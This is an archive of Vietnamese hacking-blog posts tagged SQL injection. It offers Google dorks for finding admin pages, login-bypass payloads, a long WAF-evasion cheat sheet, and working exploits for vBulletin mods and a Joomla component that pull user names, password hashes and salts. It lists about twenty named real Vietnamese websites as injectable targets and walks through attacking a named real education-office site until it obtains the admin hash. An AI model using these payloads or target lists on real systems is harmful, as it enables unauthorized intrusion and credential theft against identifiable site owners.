Hiển thị các bài đăng có nhãn SQL Injection. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn SQL Injection. Hiển thị tất cả bài đăng

Thứ Hai, 18 tháng 4, 2016

Cách Hack Website sử dụng SQL injection

Xin chào , hôm nay Anonsec Team sẽ chỉ cho các bạn hack một trang quản trị sử dụng kiểu attack SQL injection, bằng cách sử dụng SQL injection chúng ta có thể sử dụng nhiều kiểu attack khác nhau, SQL injection là chủ yếu được biết đến như là một vector tấn công trang web, Nó được dùng để attack bất kì loại hình cơ sở dữ liệu nào
Cách Hack Website sử dụng SQL injection, CÁCH HACK WEBSITE SỬ DỤNG SQL INJECTION ATTACK, HOW TO HACK WEBSITE USING SQL INJECTION ATTACK, sql dork, cách hack website mới nhất , Cách Hack Website,SQL injection hacking
Cách Hack Website sử dụng SQL injection
Chẳng Nói lòng vòng nữa , mình chỉ thẳng luôn, cái này chắc ai cũng biết nữa. Bạn copy đoạn bên Dưới : 
  • “inurl:login/admin.asp” 
  • “inurl:admin/login.asp” 
  • -“inurl:adminlogin.asp” 
  • “inurl:adminhome.asp” 
  • “inurl:admin_login.asp” 
  • “inurl:administratorlogin.asp” 
  • “inurl:login/administrator.asp” 
  • “inurl:administrator_login.asp” 
  • “inurl: admin.php " 
  • " inurl: login/ admin.php " 
  • " inurl: admin / login.php " 
  • " inurl: adminlogin.php " 
  • " inurl: adminhome.php " 
  • " inurl: admin_login.php " 
  • " inurl: administratorlogin.php " 
  • "inurl: login/ administrator.php" 
  • "inurl: administrator_login.php"
Rồi Dán ra Google


Cách Hack Website sử dụng SQL injection, CÁCH HACK WEBSITE SỬ DỤNG SQL INJECTION ATTACK, HOW TO HACK WEBSITE USING SQL INJECTION ATTACK, sql dork, cách hack website mới nhất , Cách Hack Website,SQL injection hacking
Cách Hack Website sử dụng SQL injection

Bước 2 : có rất nhiều trang, bạn chọn đại 1 Trang, Rồi dùng đoạn mã dưới này để tiêm vào :D Đa Số Trang Đăng Nhập đều Để Nguyên mặc định là Admin

  • test’or1–
  • ‘or 1=1#
  • 1’or’1’=’1
  • ‘)or1=1—
  • ‘or ” = ‘
  • ‘or’1’=’1
  • ‘ or ‘1’=’1
  • ‘ or ‘x’=’x
  • ‘ or 0=0 –
  • ” or 0=0 –
  • or 0=0 –
  • ‘ or 0=0 #
  • ” or 0=0 #
  • or 0=0 #
  • ‘ or ‘x’=’x
  • ” or “x”=”x
  • ‘) or (‘x’=’x
  • ‘ or 1=1–
  • ” or 1=1–
  • or 1=1–
  • ‘ or a=a–
  • ” or “a”=”a
  • ‘) or (‘a’=’a
  • “) or (“a”=”a
  • hi” or “a”=”a
  • hi” or 1=1 –
  • hi’ or 1=1 –
  • ‘or’1=1′
  • ‘or’ ‘=’

Sau Khi Tiêm các bạn gữi Và Xem được không nhé


Chúc Các Bạn Thành Công

Thứ Tư, 23 tháng 3, 2016

Thứ Bảy, 30 tháng 11, 2013

Lý do tại sao bạn sử dụng WAF queries bypassing?

Lý do tại sao bạn sử dụng WAF queries bypassing?

Nhiều người sử dụng cheat-sheets để bypass Web Application Firewall [WAF] và đa phần trong số họ đều không biết tại sao họ lại viết /*!union*/ mà không phải union?

Vì vậy theo mình, những gì mình chia sẻ dưới đây sẽ là lời giải thích nhanh cho họ!
Với một truy vấn (/*!12345query*/) được gọi là C-style comments cho phép bạn thực hiện những truy vấn SQL trong comment.

Dưới đây là một số ví dụ và giải thích:
/*!12345union*/ 1,2,3,... injected query-- -

Khi chúng ta thực hiện điều này, các máy chủ MySQL sẽ phân tích truy vấn của chúng ta nó sẽ thực hiện chỉ khi phiên bản MySQL là lên đến 1.23.45 (12345 là những con số mình quẩy linh tinh nhằm giải thích thôi :P )

Hãy thử một lần nữa để chúng ta hiểu rõ hơn:

www.site.com/test.php?id=1 /*!50000union*/ 1,2,3,... injected query-- -

Nó sẽ thực hiện chỉ khi phiên bản MySQL lên đến 5.00.00 sau đó truy vấn sẽ thực hiện, bởi vì hầu hết các phiên bản MySQL hiện tại là lớn hơn (sau) 5.00.00.
Nó giống như 5.20.35 v.v..



Đó là những gì? Và nhầm lẫn đã xảy ra?


/*!union*/
Đó là nói "nếu phiên bản là tới 0 thì thực hiện truy vấn." 
Hãy xem lại những gì chúng ta đã nói.

Hãy thử truy vấn:


www.site.com/test.php?id=1 /*!65432union*/ 1,2,3,... injected query-- -

Lỗi 403 đã không xuất hiện, nhưng có lỗi MySQL.
Bây giờ các bạn có thể cho mình biết tại sao rồi chứ?

Mong các bạn đóng góp nếu bài viết của mình còn thiếu sót.

Hy vọng qua bài viết này của mình, các bạn có thể học được một cái gì đó hay hiểu được một vấn đề nào đó giúp ích cho các bạn.
Cảm ơn sự quan tâm của các bạn tới Blog của mình!
Thân,
Kẻ Chọc Giận
VNHFamily.Us - VNHack Group

Thứ Hai, 26 tháng 8, 2013

exploit vBulletin với Awards System 4.0.2+ SQL Injection

Tiếp tục exploit vBulletin với Awards System 4.0.2+ SQL Injection
dork thì sáng tạo ra nha
Ở đây mình dùng dork này nè : inurl:request_award.php Powered by vBulletin® Version 4.0.2

vào site victim với dạng victim.com/request_award.php
Khai thác bằng thêm data với cấu trúc như sau ,có thể dùng addon hackbar nha

do=submit&name=award_id=[VALID REWARD ID]&award_request_reason=0&award_request_uid=0[SQL]&submit=Submit
-->victim.com/request_award.php
Data:do=submit&name=award_id=[VALID REWARD ID]&award_request_reason=0&award_request_uid=0[SQL]&submit=Submit
Mình lấy ví dụ victim là trang ihabteens.com
kết hợp command và query nó 

http://www.ihabteens.com/forums/request_award.php
Post :do=submit&name=award_id=2 &award_request_reason=0&award_request_uid=0' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password,0x3a,sal t,0x3a,email) as char),0x7e)) from user where userid=1 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='#&submit=Submit



Sẽ hiện ra như sau ,hihi




View source nó và nhận đc là 



--> Dino:ef1b59043951239f1d073772342f119a

login bằng cookie thôi :x 

Khai Thác Vbulletin [sql trên shoutbox]

2 bài trứoc viết về vbb,tiếp tục mình viết nốt mấy bug còn lại ,bài này là lỗi sql trên shoutbox
dork khai thác :inurl:infernoshout.php



ra một số trang thêm vào đuôi victim tìm đc đoạn như sau
victim.com/folder/infernoshout.php?do=options&area=commands
Mình demo trên http://bien19.biz/forum/infernoshout...&area=commands
hiện ra như sau



Như thấy nó hiện ra 4 khung,khung đầu nhập vào đoạn query là
PHP Code:
' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password,0x3a,salt) as char),0x7e)) from user where userid=1 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='#  
Khung tiếp theo thích nhập gì thì nhập .

save setting,nó sẽ hiện ra trang thông báo



View source kéo xuống ta xem tên user và đoạn pass mã hóa nó,lấy đăng nhập bằng user admin bằng cookie thôi^^

Thứ Sáu, 23 tháng 8, 2013

Tổng hợp các cách bypass SQLi kinh điển

Tổng hợp các cách bypass SQLi kinh điển

Định Nghĩa ByPass SQli
Chào các bạn. Như các bạn đã biết, Khi khai thác SQLi chắc rất nhiều lúc các bạn gặp phải trường hợp tìm thấy site bị SQli rõ ràng, nhưng dùng lệnh order by hay Union select thì không được,

Không có hiện tượng gì xảy ra. Không hề hiện như những hướng dẫn SQLi cơ bản các bạn từng đọc. Vậy Chuyện gì đã xảy ra???? Điều xảy ra ở đây là victim của các bạn đã trang bị một Bộ lọc hoặc một firewall, Admin đã lường trước những câu lệnh mà các bạn thực hiện SQLi và tạo ra những rules, Và thế là khi các bạn khai thác SQli những câu lệnh khai thác sẽ không sử dụng được nữa. Vậy chúng ta phải làm gì???? Rất đơn giản, các bạn hãy làm khác đi những câu lệnh đó. Làm sao cho admin không thể lường trước được nhưng những câu lệnh vẫn giữ nguyên bản chất của nó. Đó gọi là bypass SQLi.
VD:
- Khi mình khai thác site A.
http://victimA.com/index.php?id=-3 union select 1,2,3,4,5,6-- -
Thấy trang victim hiện lên số 4 => đã tìm thấy cột bị lỗi,
- Khi Khai thác site B
http://victimB.com/index.php?id=-3 union select 1,2,3,4,5,6-- -
Thấy trang Victim chả hiện gì cả(hoặc là thông báo lỗi) Vậy mình => trang này cần bypass. Và mình thay câu lệnh khai thác trên thành:
http://victimB.com/index.php?id=-3 UNION all /*!50000SELECT*/ 1,2,3,4,5,6-- -
Mình thấy nó hiện số $ => Đã thấy cột bị lỗi.

Kết Luận: Trường hợp khai thác site B chúng ta đã bypass SQli.
Tổng hợp các câu lệnh bypass SQLi
Cách 1: thay ký tự thường bằng ký tự hoa
id=1+UnIoN SeLeCT 1,2,3,4– -
Cách 2: dùng cặp thẻ /*!code*/
id=1+/*!UnIoN*/ /*!SeLeCT*/ 1,2,3,4– -
Cách 3: dùng like thay cho = (khi dấu = bị chặn)
/*!TaBlE_ScHeMa*/+like+database()– -
Cách 4: Lồng Union và select
id=1+UNIunionON+SeLselectECT+1,2,3–
Cách 5 thêm ký tự null hoặc các ký tự đặc biệt vào giữa:
sel%0bect+1,2,3
id=1+uni*on+sel*ect+1,2,3–+
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+’SeL”ECT’
Cách 6: dùng hàm convert():
convert(group_concat(table_name)+using+ascii)
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)
Cách 7: dùng char()
CHAR(117, 115, 101, 114, 115)
Cách 8: show table ẩn:
group_concat(unhex(hex(table_name)))
cách 9: select
UNION all /*!50000SELECT*/
Cách 10 (ít dùng)thêm khoảng trắng tách từ
information_schema. tables thay cho information_schema.tables
Cách 11 Thay các dấu cách bằng ký tự + hoặc mã Hex
.php?id=1+union+select+1,2,3--+
bypass khoảng trắng= %0b Ví dụ:
1'order by 3-- - khi bypass sẽ được:
1'%0border%0bby%0b3--%0b-
Hoặc: Method bypass
union(select(0),version(),(0),(0),(0),(0),( 0),(0),(0))
/*!50000union*/+/*!50000select*/
UNIunionON+SELselectECT
+union+distinct+select+
+union+distinctROW+select+
union+/*!select*/+1,2,3
union/**/select/**/1,2,3
uni%20union%20/*!select*/%20
/**//*!union*//**//*!select*//**/
union%23aa%0Aselect
/**/union/*!50000select*/
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
id=1+’UnI”On’+'SeL”ECT’ <-MySQL only
id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
after id no. like id=1 +/*!and*/+1=0

+div+0
Having+1=0
+AND+1=0
+/*!and*/+1=0
and(1)=(0)
False The Url::

=-id=-1 union all select
id=null union all select
id=1+and+false+union+all+select
id=9999 union all select
Order Bypassing do like this

/*!table_name*/
+from /*!information_schema*/./*!tables*/ where table_schema=database()
unhex(hex(Concat(Column_Name,0x3e ,Table_schema,0x3e,table_Name)))
/*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%2011 5,%2037)
used with order::

convert()using ascii)
unhex(hex())
If ascii dont work you could try:

ujis
ucs2
tis620
swe7
sjis
macroman
macce
latin7
latin5
latin2
koi8u
koi8r
keybcs2
hp8
geostd8
gbk
gb2132
armscii8
ascii
binary
cp1250
big5
cp1251
cp1256
cp1257
cp850
cp852
cp866
cp932
dec8
euckr
latin1
utf8

Nguồn: Root

Thứ Sáu, 16 tháng 8, 2013

 Dork "Viet Arrow" - Sqli cho newbie

Dork "Viet Arrow" - Sqli cho newbie

Google dork: Designed by Viet Arrow id=

Tất cả các website được thiết kế bởi Viet Arrow đều dính lỗi sqli,
Dành cho newbie tập quấy...




http://www.duythinh.com.vn/?do=product&id=48'
http://www.quangdao.vn/?do=supply&id=3'
http://www.ttasia.com.vn/?do=services&id=14'
http://www.lilama45-1.com/index.php?do=subcat&id=2'&lang=vn
http://www.royalstone.com.vn/?do=products&act=detail&id=54'&lang=vn
http://www.fsec.com.vn/index.php?do=intro&id=6'
http://www.pcphumy.com/?do=projects&act=detail&id=19'
http://www.vinhsang.com/?do=intro&id=3'
http://www.sosani.com/?do=products&act=detail&cat_id=39&id=144'&lang=en
http://mayphatdien.net.vn/index.php?do=products&act=list&p_cid=1&p_pid=202'& l=2
http://dichvuduongsat.com/?do=services&act=detail&id=5'&lang=en
http://www.caohungco.vn/index.php?do=products&act=detail&cid=74&id=128'&la ng=en
http://dichvuduongsat.com/?do=services&act=detail&id=4'
http://www.shopdiep.com/index.php?do=products&act=detail&cid=63&id=1606'
http://suthienthanh.com/?do=products&act=detail&id=23'&lang=en
http://www.hoanmyco.com/index.php?do=news&act=detail&id=104'
http://www.locanresort.com/index.php?do=page&id=1'
http://www.khaithong.com.vn/index.php?do=content&id=1'
http://www.clicktoner.vn/index.php?do=page&id=2'
http://vietdoantravel.com/index.php?do=page&id=2'
http://sieuthihangchatluong.com/?Id...adminva&Cat=acde6754ab29d3c3b521f86041b88834'

Thứ Hai, 5 tháng 8, 2013

113 Bypassing WAF Filters in SQLi - Ens

113 Bypassing WAF Filters in SQLi - Ens


Leech bên 4rum nước ngoài. thấy hay hay nên share ae



What is WAF or Web Application Firewall>?
-A web application firewall (WAF) is an appliance,server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.


Some website are using WAF filter.
If u found a vuln sites that have waf and u try to inject a Union based query and its Show's Not Acceptable, 403 forbidden or Web Application FIrewall ALERT..That means the query or syntax that u inject is Filter or Blocked by WAF.

Ok now here's some method to Bypass WAF filters.

1)Comments:

SQL comments are a blessing to us SQL injectors. They allow us to bypass a lot of the restrictions of Web application firewalls and to kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query. Some comments in SQL:

//, ? , /**/, #, ?+, ? -, ;


2)Case Changing:

Some WAF?s will filter only lowercase attacks As we can see we can easily evade this by case changing:
Possible Regex filter:

/union\sselect/g
id=1+UnIoN/**/SeLeCT, or with XSS -> alert(1)


3)Inline Comments:

Some WAF?s filter key words like /union\sselect/ig We can bypass this filter by using inline comments most of the time, More complex examples will require more advanced approach like adding SQL keywords that will further separate the two words:

id=1/*!UnIoN*/SeLeCT

Take notice of the exclamation point /*!code*/ The exclamation point executes our SQL statement.
Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can add more inline comments. For example, let?s pretend a site filters union,where, table_name, table_schema, =, and information_schema.. These are 3 statements we need to inject our target.
For this we would:

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()? -

The above code would bypass the filter. Notice we can use ?like? instead of ?=?
Another way to use inline comemnts, when everything seems to fail you can try to through the application Firewall off by crafting a SQL statement using variables:

id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()? -

The above code should bypass the Union+select filters even where common inline comments didn?t work itself

4)Buffer Overflow:/Unexpected input:

A lot of WAFS are written in the C language making them prone to overflow or or act differently when loaded with a bunch of data. Here is a WAF that does it?s job correctly, but when given a large amount of Data allows the malicious request and response.

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A?s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),use r(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23, 24,25,26
,27,28,29,30,31,32,33,34,35,36?+

This bypass above works. I myself just used this against a Web site recently.

5)Replaced keywords(preg_replace and/or WAF?s with the same action

Sometimes and application will remove all of a keyword. For instance, let?s say we have a filter that replaces union select with whitespace. We could bypass that filter like so:

id=1+UNIunionON+SeLselectECT+1,2,3?

As you can see once union+select has been removed our capital UNION+SELECT takes its place successfully injecting our query:

UNION+SELECT+1,2,3?


6)Character encoding:

Most WAF?s will decode and filter an applications input, but some WAFs only decode the input once so double encoding can bypass certain filters as the WAF will decode the input once then filter while the Application will keep decoding the SQL statement executing our code.
Examples of double encoding:

id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users?+

Thứ Năm, 18 tháng 4, 2013

Bug SHOP Guny Cương Hóa Guny

Bug SHOP Guny Cương Hóa Guny

# # # # # # # # # # # # # # # # # # # # # # # # # # # # ## ## #
# Exploit Title: SHOP Guny Cương Hóa Guny #
# Google Dork: n/a #


# Date: 16/4/13 #
# Exploit Author: VnDragon - VHB #
# Code Mod: http://www.vietvbb.vn/up/showthread.php?t=67076 #
# Version: [2.0.1] #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # ## ## #

Code:
Exploit: http://victim.com/tudo.php?tudo=matkieng&id=1' [SQL]
Exploit: http://victim.com/tudo.php?tudo=mat&id=1' [SQL]
Exploit: http://http://victim.com/tudo.php?tudo=ao&id=1' [SQL]
Exploit: http://http://victim.com/tudo.php?tudo=toc&id=1' [SQL]
Exploit: http://http://victim.com/tudo.php?tudo=non&id=1' [SQL]
Exploit: http://http://victim.com/tudo.php?tudo=trangsuc&id=1' [SQL]
Exploit: http://http://victim.com/tudo.php?tudo=canh&id=1' [SQL]
Exploit: http://http://victim.com/tudo.php?tudo=vukhi&id=1' [SQL]
File: tudo.php, Line: 372 and more fille.
PHP Code:
$id $_GET['id']; 
Fix

Find
PHP Code:
$id $_GET['id']; 
And Replace

PHP Code:
$id addslashes($_GET['id']); 

Demo: http://jrockhome.com/tudo.php?tudo=mat&id=1'

Note: Phải có items mới tiến hành exploit được.
(Final 2.1) Hệ thống RPG PET

(Final 2.1) Hệ thống RPG PET

# # # # # # # # # # # # # # # # # # # # # # # # # # # # ## ## #
# Exploit Title: (Final 2.1) Hệ thống RPG PET #
# Google Dork: n/a #
# Date: 15/4/13 #
# Exploit Author: VnDragon - VHB #
# Code Mod: http://www.vietvbb.vn/up/showthread.php?t=40921 #
# Version: [2.1] #
# Thank concobe #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # ## ## #
Exploit: http://victim.com/rpg.php?do=battle&type=monster&id=-1' [SQL]
File: battle.php, Line: 11 and more fille.
Code:

PHP Code:
$idmon $_GET['id']; 
Fix

Find
PHP Code:
$idmon $_GET['id']; 
And Replace

PHP Code:
$idmon addslashes($_GET['id']); 


Demo: http://nguyenmy.net/forum/rpg.php?do...=monster&id=-1'
Fun Shop mod Vbulletin SQL injection

Fun Shop mod Vbulletin SQL injection


Như đã hứa thì hôm nay mình sẽ cung cấp một cái bug của 1 mod cũng khá nhiều forum đang sử dụng bị dính lỗi SQL injection và có thể bị khai thác và chiếm quyền, dưới đây là thông tin lỗi:

Mod lỗi: Fun Shop
Author: http://www.vietvbb.vn/up/showthread.php?t=43945
version: All
Dork: inurl:/fshop.php?do=buy&id=
link lỗi: /fshop.php?do=buy&id=SQL Injection
Exploit by: concobe & bula -VHB- huynhdegroup.net

Điều kiện bắt buộc phải có là:
1. victim có cài mod Fun Shop
2. Attacker phải có tài khoản trên victim và đã login vào.

Query giả sử id=6:
/fshop.php?do=buy&id=-6' union select 1,2,3,4,5,6,7,8,9,10-- -
cột lỗi gồm 5,6,7,8

lấy version() :
/fshop.php?do=buy&id=-6' union select 1,2,3,4,version(),6,7,8,9,10-- -
xxx xxx xxx

Đến đây thì có lẽ mọi người hoàn toàn có thể làm những gì mình cần rồi. Mình không ghi ra luôn tất cả những câu query để lấy những thông tin quan trọng mục đích để mọi người tự query và làm phần còn lại để hiểu hơn những gì mình cần làm.
Một số server sẽ có chặn và lọc các truy vấn nguy hiểm nên mọi người có thể dùng thêm những cách bypass khi SQL injection thông thường là sẽ làm được.

Fix lỗi:
Do dạo này đang bận nên chưa đưa ra được bản fix lỗi cho mod này được. Bạn nào có thời gian và điều kiện giúp mình bổ xung phần fix lỗi mod này dùm.

Cuối cùng vui lòng để lại dòng này khi leech đi các nơi khác dùm:
Exploit by: concobe & bula -VHB- huynhdegroup.net

---------- Post added at 08:54 PM ---------- Previous post was at 08:49 PM ----------

Live demo: http://teamhacker.us/forum/
sorry Tim Rơi Lệ
Joomla RSfiles Component (cid param) - SQL Injection Vulnerability

Joomla RSfiles Component (cid param) - SQL Injection Vulnerability

Joomla RSfiles Component (cid param) - SQL Injection Vulnerability

 

*******************************************************************************
# Title   :  Joomla Component RSfiles <= (cid) SQL injection Vulnerability
# Author  :  ByEge
# Contact :  http://byege.blogspot.com
# Date    :  18.03.2013
# S.Page  :  http://www.rsjoomla.com
# Dork    :  inurl:index.php?option=com_rsfiles
# DorkEx  :  http://www.google.com.tr/#hl=tr&sclient=psy-ab&q=inurl:index.php?option=com_rsfiles

Vulnerability : ?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1/**/aNd/**/1=0/**/uNioN++sElecT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--

[[SQL Injection Test]]]

http://server/?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1/**/aNd/**/1=0/**/uNioN++sElecT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--

*********************************
# Turkey.

Thứ Tư, 17 tháng 4, 2013

Chủ Nhật, 17 tháng 3, 2013

[TUT] Khai thác Sqli - Magic Convertt Aspx

Tình hình đang ôn thi đại học căng thẳng nên có rất ít thời gian để online cũng như tìm hiểu về hacking . Nhưng để đóng góp chút gì đó nhân dịp sinh nhật VNHack Family  thì Kẻ Chọc Giận xin làm một tut sql cơ bản cho newbie nghiên cứu . Ai biết rồi đừng gạch đá ấy nhé, sai sót  mong được góp ý !


Có site cho anh em nghiên cứu khai thác mà chưa ai có đáp án nên Kẻ lấy nó làm tut luôn cho anh em !

Victim : http://pgdmongcai.edu.vn/ ( victim tương tự : http://www.pgdhalong.edu.vn/ )

Chắc hẳn việc đầu tiên là các bạn tìm link lỗi để check nó đúng không ?

VD : 
http://pgdmongcai.edu.vn/Default.aspx?page=news&mod=news&catid=126

sẽ là cái mà các bạn để ý đầu tiên. Các bạn check lỗi :

 http://pgdmongcai.edu.vn/Default.aspx?page=news&mod=news&catid=126'

Thấy nó lỗi rồi . nhưng mà liệu order by có được không ? mình đã thử nhưng không có kết quả gì khác !

 Nhìn quanh quanh click click nó ra cái link : 

http://pgdmongcai.edu.vn/Default.aspx?page=congvan&mod=congvan

âu sề . link đăng nhập . nhưng không có nick admin thì đăng có cũng bằng thừa .
Nhưng tại sao chúng ta không thử check lỗi ở ô "Tên truy cập" =)))))) . check thử nào :D



Và lỗi xuất hiện :P 



=> việc khó ở đây không phải là hack nó như thế nào . mà là tìm chỗ nào lỗi để hack :)

Vậy là đến đây nhiều mem đã biết nó bị lỗi như thế nào và check ra làm sao. Nhưng mình vẫn làm chi tiết cho newbie tham khảo nhé :D. ok ! trở lại link đăng nhập mà chúng ta vừa check


http://pgdmongcai.edu.vn/Default.aspx?page=congvan&mod=congvan

( Chú ý : Mọi querry mình đưa ra đều được inject vào ô Tên truy cập )

Version của nó :

' and 1=convert(int,@@version)-- - 

KQ :



( get tên database : ' and 1=convert(int,db_name())-- - )



Tiếp theo là get table :

' and 1=convert(int,(select top 1 table_name from information_schema.tables))-- -



 table đầu tiên xuất hiện trước mắt . nhưng nó chra 1 table . Ta phải làm cho nó hiển thị các table khác.

' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_news_private')))-- -

KQ : 
 Conversion failed when converting the nvarchar value 'tbl_permission' to data type int.
nó xuất hiện thêm table 'tbl_permission'  . tiếp tục tìm table tiếp theo

' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_news_private','tbl_permission' )))-- -
  
Conversion failed when converting the nvarchar value 'tbl_siteinfo' to data type int.

xuất hiện thêm table 'tbl_permission' . cứ tiếp tục như vậy cho đến khi ta tìm được như sau :

' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_news_private','tbl_permission','tbl_siteinfo','tbl_student_point','tbl_student','tbl_th_pupil','tbl_th_adv','tbl_th_category_news','tbl_adv','tbl_th_class','tbl_category_gallery','tbl_th_news','tbl_category_library','tbl_category_news','tbl_th_siteinfo','tbl_th_vote_answer','tbl_category_news_private','tbl_th_vote_question') ))-- -
Kết quả hiện ra giành cho ai không nản khi check nó :D



 Giờ tiếp tục get column trong table tbl_user

' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_user') ))-- -

nó chỉ hiện 1 column nên ta làm tương tự như phần check table


' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_user') ))-- -

' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_user') and column_name not in ('PK_UserID','C_UserName') ))-- -


Kết Quả là tìm được 3 column

PK_UserID
C_UserName
C_UserPass


Và giờ là get nick admin thôi :)

Get Nick : 
 ' and 1=convert(int,(select top 1 C_UserName from tbl_user))-- -
Get Password :  
' and 1=convert(int,(select top 1 C_UserPass from tbl_user))-- -

KQ :  admin | d5a43b10e1eb57474e50e2eca8034f4f 

Đời lắm bất công nên phải tập chấp nhận với việc không crack được pass =))


End TUT - VNHack - VNHFamily - Hấp bỳ bớt đề tù vì en hách =))
1h00 - Ngày 18-03-2013
Tắt máy và tiếp tục học :">


--